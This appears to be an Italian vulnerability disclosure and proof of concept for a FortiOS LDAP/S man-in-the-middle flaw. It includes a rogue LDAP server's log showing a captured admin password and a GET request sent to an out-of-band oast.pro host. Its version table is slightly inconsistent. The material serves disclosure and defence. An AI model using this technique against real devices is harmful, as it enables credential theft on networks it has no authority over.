
La configurazione predefinita di LDAP su FortiOS v6.0.x fino a v6.2.0 non verifica l'identità del server per LDAP/S, portando ad attacchi MITM. Questo PoC dimostra la completa esfiltrazione delle credenziali inviate sulla sottorete locale a un server LDAP facilmente impersonabile.
Questo Proof of Concept (PoC) dimostra un attacco MITM (Man-In-The-Middle): impersonificazione di un server LDAP sulla sottorete locale di un dispositivo FortiGate che esegue una versione vulnerabile di FortiOS.
Queste versioni sono vulnerabili:
| Versione | Affetta | Soluzione |
|---|---|---|
| FortiOS 7.0 | Non affetta | Non applicabile |
| FortiOS 6.0 | dalla 6.0.3 alla 6.2.0 | Aggiornare alla 6.2.1 o superiore |
Per il PoC è stato utilizzato FortiOS 6.2.0 in esecuzione all'interno di VMware Fusion.
[2025-10-16 22:59:47.366765] New connection from 192.168.43.24:54789
--- Request #1 ---
BIND Request:
Message ID: 1
DN: cn=admin,dc=example,dc=com
Password: ldapAdMiNPassw0rd!
-> Sent BIND Response (Success)
--- Request #2 ---
SEARCH Request:
Message ID: 2
Base DN: dc=example,dc=com
Filter:
cn
nLBkcjDTHC01.1...
-> Sent SEARCH Result Entry
-> Sent SEARCH Result Done
--- Request #3 ---
BIND Request:
Message ID: 3
DN: dc=example,dc=com
Password: d3omljs2kel69tn1dun0m4mykgw1uafyz.oast.pro
🔑 CAPTURED PASSWORD: d3omljs2kel69tn1dun0m4mykgw1uafyz.oast.pro
🔧 No scheme found — prepending https:// -> https://d3omljs2kel69tn1dun0m4mykgw1uafyz.oast.pro
📡 Attempting GET request to: https://d3omljs2kel69tn1dun0m4mykgw1uafyz.oast.pro
✅ GET request successful! Status code: 200
-> Sent BIND Response (Success)
--- Request #4 ---
SEARCH Request:
Message ID: 4
Base DN: dc=example,dc=com
Filter:
objectclass0memberOfprimaryG...
-> Sent SEARCH Result Entry
-> Sent SEARCH Result Done
--- Request #5 ---
[2025-10-16 22:59:49.159193] Connection closed from 192.168.43.24:54789
============================================================
SESSION SUMMARY - Captured Password: d3omljs2kel69tn1dun0m4mykgw1uafyz.oast.pro
============================================================
La configurazione predefinita di LDAP su FortiOS dalla v6.0.x alla v6.2.0 non verifica l'identità del server per LDAP/S, consentendo attacchi MITM. Questo PoC dimostra la completa esfiltrazione delle credenziali inviate sulla sottorete locale a un server LDAP facilmente impersonabile.